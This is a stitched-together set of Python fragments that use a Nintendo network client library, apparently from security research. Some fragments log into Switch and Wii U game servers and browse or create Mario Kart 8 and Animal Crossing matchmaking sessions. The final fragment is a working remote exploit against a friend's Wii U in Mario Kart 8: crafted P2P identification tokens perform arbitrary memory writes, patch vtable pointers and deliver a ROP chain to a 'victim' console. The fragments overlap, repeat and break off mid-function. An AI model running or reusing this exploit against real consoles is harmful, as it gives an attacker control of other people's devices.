async def main(): keys = KeySet.load(PATH_KEYS) info = ProdInfo(keys, PATH_PRODINFO) with open(PATH_TICKET, "rb") as f: ticket = f.read() cert = info.get_tls_cert() pkey = info.get_tls_key() dauth = DAuthClient(keys) dauth.set_certificate(cert, pkey) dauth.set_system_version(SYSTEM_VERSION) response = await dauth.device_token(dauth.BAAS) device_token = response["device_auth_token"] aauth = AAuthClient() aauth.set_system_version(SYSTEM_VERSION) response = await aauth.auth_digital(ACNH.TITLE_ID, ACNH.LATEST_VERSION, device_token, ticket) app_token = response["application_auth_token"] baas = BAASClient() baas.set_system_version(SYSTEM_VERSION) response = await baas.authenticate(device_token) access_token = response["accessToken"] response = await baas.login(BAAS_USER_ID, BAAS_PASSWORD, access_token, app_token) user_id = int(response["user"]["id"], 16) id_token = response["idToken"] auth_info = authentication.AuthenticationInfo() auth_info.token = id_token auth_info.ngs_version = 4 #Switch auth_info.token_type = 2 s = settings.load("switch") s.configure(ACNH.ACCESS_KEY, ACNH.NEX_VERSION, ACNH.CLIENT_VERSION) async with backend.connect(s, HOST, PORT) as be: async with be.login(str(user_id), auth_info=auth_info) as client: mm = matchmaking.MatchmakeExtensionClient(client) param = matchmaking.MatchmakeSessionSearchCriteria() param.attribs = ["", "", "", "", "", ""] param.game_mode = "2" param.min_participants = "1" param.max_participants = "1,8" param.matchmake_system = "1" param.vacant_only = False param.exclude_locked = True param.exclude_non_host_pid = True param.selection_method = 0 param.vacant_participants = 1 param.exclude_user_password = True param.exclude_system_password = True param.refer_gid = 0 param.codeword = CODE sessions = await mm.browse_matchmake_session_no_holder_no_result_range( param) if not sessions: print("\nNo island found for '%s'\n" % CODE) else: session = sessions[0] data = session.application_data print("\nFound island:") print("\tId:", session.id) print("\tActive players:", session.participation_count) print("\tIsland name:", data[12:32].decode("utf16").rstrip("\0")) print("\tHost name:", data[40:60].decode("utf16").rstrip("\0")) print()
api.login(USERNAME, PASSWORD) my_pid = api.get_pid(USERNAME) friend_pid = api.get_pid(FRIEND_NAME) mii_name = api.get_mii(my_pid).name # Connect to game server nex_token = api.get_nex_token(MK8.GAME_SERVER_ID) backend = backend.BackEndClient(MK8.ACCESS_KEY, MK8.NEX_VERSION) backend.connect(nex_token.host, nex_token.port) backend.login( nex_token.username, nex_token.password, authentication.AuthenticationInfo(nex_token.token, MK8.SERVER_VERSION)) matchmake_ext = matchmaking.MatchmakeExtensionClient(backend) # Find friend room playing_sessions = matchmake_ext.get_playing_session([friend_pid]) if not playing_sessions: raise RuntimeError("Couldn't find friend room for %s" % FRIEND_NAME) gathering = playing_sessions[0].gathering # Request session key (for p2p) session_key = matchmake_ext.join_matchmake_session(gathering.id, "This is NintendoClients") # Request station urls of session host matchmaker = matchmaking.MatchMakingClient(backend) session_urls = matchmaker.get_session_urls(gathering.id)
client.login(nex_token.username, nex_token.password, auth_info, login_data) return client nnas = NNASClient() nnas.set_device(DEVICE_ID, SERIAL_NUMBER, SYSTEM_VERSION, REGION, COUNTRY) nnas.login(USERNAME, PASSWORD) #Connect to both the Mario Kart 8 server and the Wii U friends server friends_backend = backend_login(Friends, False, True, "friends.cfg") game_backend = backend_login(MK8, True, False) pid = game_backend.get_pid() friends_client = friends.FriendsClient(friends_backend.secure_client) matchmaker = matchmaking.MatchmakeExtensionClient(game_backend.secure_client) #Create a matchmake session matchmake_session = matchmaking.MatchmakeSession() matchmake_session.player_min = 2 matchmake_session.player_max = 12 matchmake_session.participation_policy = 98 matchmake_session.game_mode = 3 matchmake_session.attribs[4] = 0x403 #DLCs enabled matchmake_session.matchmake_system = matchmaking.MatchmakeSystem.FRIENDS session_id = matchmaker.create_matchmake_session(matchmake_session, "", 1).gid #Tell friends we're playing MK8 and have created a room application_data = b"\0\0\x20\x03\0\0\0\0\0\0\0\0\x18" + struct.pack( "<I", pid) + b"\0\0\0"
api = AccountAPI() api.set_device(DEVICE_ID, SERIAL_NUMBER, SYSTEM_VERSION, REGION, COUNTRY) api.login(USERNAME, PASSWORD) #Connect to both the Mario Kart 8 server and the Wii U friends server friends_backend = backend_login( friends.FriendsTitle, False, True, backend.Settings("friends.cfg") ) game_backend = backend_login(MK8, True, False) pid = game_backend.auth_client.pid friends_client = friends.FriendsClient(friends_backend) matchmaker = matchmaking.MatchmakeExtensionClient(game_backend) #Create a matchmake session matchmake_session = matchmaking.MatchmakeSession( #Create a gathering with between 2 and 12 players #and the participation policy set to 98 0, 0, 0, 2, 12, 98, 0, 0, 0, "", 3, [0, 0, 0, 0, 0x403, 0], #game mode = 3, flags = 0x403 (DLCs enabled) True, #Open participation matchmaking.MatchmakeSystem.FRIENDS, #Only friends will join b"", 0, b"", 100, 0 ) session_id, session_key = matchmaker.create_matchmake_session( matchmake_session, "", 1 )
user_id = int(response["user"]["id"], 16) id_token = response["idToken"] # Connect to game server backend = backend.BackEndClient("switch.cfg") backend.configure(ACNH.ACCESS_KEY, ACNH.NEX_VERSION, ACNH.CLIENT_VERSION) backend.connect(HOST, PORT) # Log in on game server auth_info = authentication.AuthenticationInfo() auth_info.token = id_token auth_info.ngs_version = 4 #Switch auth_info.token_type = 2 backend.login(str(user_id), auth_info=auth_info) mm = matchmaking.MatchmakeExtensionClient(backend.secure_client) param = matchmaking.MatchmakeSessionSearchCriteria() param.attribs = ["", "", "", "", "", ""] param.game_mode = "2" param.min_players = "1" param.max_players = "1,8" param.matchmake_system = "1" param.vacant_only = False param.exclude_locked = True param.exclude_non_host_pid = True param.selection_method = 0 param.vacant_participants = 1 param.exclude_user_password = True param.exclude_system_password = True param.refer_gid = 0
def run_exploit(payload): rop_payload = payload # Create a packet with a valid header but whose body contains a ROP chain rop_packet = b"\x32\xAB\x98\x64\x01\x00\x00\x00" rop_packet += struct.pack(">%iI" %len(rop_payload), *rop_payload) #Device id can be retrieved with a call to MCP_GetDeviceId(int mcp_fd, uint32_t *out_device_id) on the Wii U #Serial number can be found on the back of the Wii U DEVICE_ID = 1234567890 SERIAL_NUMBER = "GEFXXXYYYZZZ" SYSTEM_VERSION = 0x0250 REGION = 4 #EUR COUNTRY = "FR" USERNAME = "******" #Nintendo network id PASSWORD = "******" #Nintendo network password FRIEND_NAME = "Rambo6Glaz" # victim nintendo network id (both cannot be the same, otherwise you'll get kicked once the python client connects) # Log in on account server api = AccountAPI() api.set_device(DEVICE_ID, SERIAL_NUMBER, SYSTEM_VERSION, REGION, COUNTRY) api.set_title(MK8.TITLE_ID_EUR, MK8.LATEST_VERSION) api.login(USERNAME, PASSWORD) my_pid = api.get_pid(USERNAME) friend_pid = api.get_pid(FRIEND_NAME) mii_name = api.get_mii(my_pid).name # Connect to game server nex_token = api.get_nex_token(MK8.GAME_SERVER_ID) backend_ = backend.BackEndClient(MK8.ACCESS_KEY, MK8.NEX_VERSION) backend_.connect(nex_token.host, nex_token.port) backend_.login( nex_token.username, nex_token.password ) matchmake_ext = matchmaking.MatchmakeExtensionClient(backend_) # 0x387E0A1C - 0x387E0640 # Find friend room playing_sessions = matchmake_ext.get_playing_session([friend_pid]) if not playing_sessions: raise RuntimeError("Couldn't find friend room for %s" %FRIEND_NAME) gathering = playing_sessions[0].gathering # Request session key (for p2p) session_key = matchmake_ext.join_matchmake_session( gathering.id, "This is NintendoClients" ) matchmaker = matchmaking.MatchMakingClient(backend_) session_urls = matchmaker.get_session_urls(gathering.id) # Constructs an indentification token that writes # an arbitrary value at an arbitrary address # Constructs an indentification token that writes # an arbitrary value at an arbitrary address def write(addr, value): func = 0xE8A26D4 dummy = 0xAAAAAAAA strbuf = 0x386043D8 vtable = 0x386042D4 return struct.pack( ">IIIIIIII", addr - 0xC, func, dummy, dummy, strbuf, vtable, dummy, value ) # The ability to write an arbitrary value at an arbitrary address is # a powerful tool. It's easy to patch a virtual function for example: # you simply need to overwrite its function pointer in its vtable. # I'll briefly explain how this exploit turns this into a ROP chain. # # Md5Context::GetHashSize is called when the console checks the signature # of an incoming packet, and when it appends a signature to an outgoing # packet. Although GetHashSize doesn't take any parameters, r4 always # contains the content of the packet when it is called, and r5 contains # the size of the packet. This exploit redirects Md5Context::GetHashSize # to the following piece of code: # ... # addi r3, r1, 8 # bl memcpy # ... # The next packet we send to the console after patching Md5Context::GetHashSize # will be copied onto the stack, and the ROP chain starts as soon as # Md5Context::GetHashSize returns. # # There are two issues with this approach: # - The console may try to send a packet before it receives our ROP packet # - The console might receive a packet from someone else before it receives # our ROP packet # Both cases cause a normal packet to be copied onto the stack and crash # the console. This exploit works around the first issue by patching # StationPacketHandler::AssignPacket to always return 0. This stops the # console from trying to send any packets. The second issue is the reason # that this exploit only works when there are no other players in the # friend room. injections = [ (0x1066f9b8, 0xEBC0314), #StationPacketHandler::AssignPacket -> return 0 (0x1066889c, 0xEBE6624) #Md5Context::GetHashSize -> memcpy on stack ] # Initialize P2P session session = PIASession(backend_, session_key) session.start( write(*injections[0]), #Identification token that performs the first injection mii_name ) # Because we won't receive any packets from the console after patching # StationPacketHandler::AssignPacket, we need to guess what the console # expects. # Send a packet that 'expects' an acknowlegement # but don't wait for the acknowlegement def send_with_ack(station, message): ack_id = next(session.resending_transport.ack_id) & 0xFFFFFFFF message.payload += struct.pack(">I", ack_id) session.transport.send(station, message) # Connect to session host host = session.connect_to_host(session_urls) session.resending_transport.send = send_with_ack session.mesh_protocol.send_join_request(host) #First injection time.sleep(1) #Wait for join response # Replace identification token for second memory injection session.station.identification_info = \ IdentificationInfo(write(*injections[1]), mii_name) # From now on we won't receive any packets from the console so # we have to do things manually. # Disconnect and reconnect to host session.station_protocol.send_disconnection_request(host) session.station_protocol.send_connection_request(host) time.sleep(0.1) ack_id = next(session.resending_transport.ack_id) & 0xFFFFFFFF session.station_protocol.send_ack(host, struct.pack(">I", ack_id)) session.station_protocol.send_connection_response(host) time.sleep(0.1) ack_id = next(session.resending_transport.ack_id) & 0xFFFFFFFF session.station_protocol.send_ack(host, struct.pack(">I", ack_id)) time.sleep(1) # Send join request, performing the second memory injection session.mesh_protocol.send_join_request(host) time.sleep(1) # Finally, send packet with ROP chain session.transport.transport.socket.send(rop_packet, host.address) # Disconnect from game server backend_.close()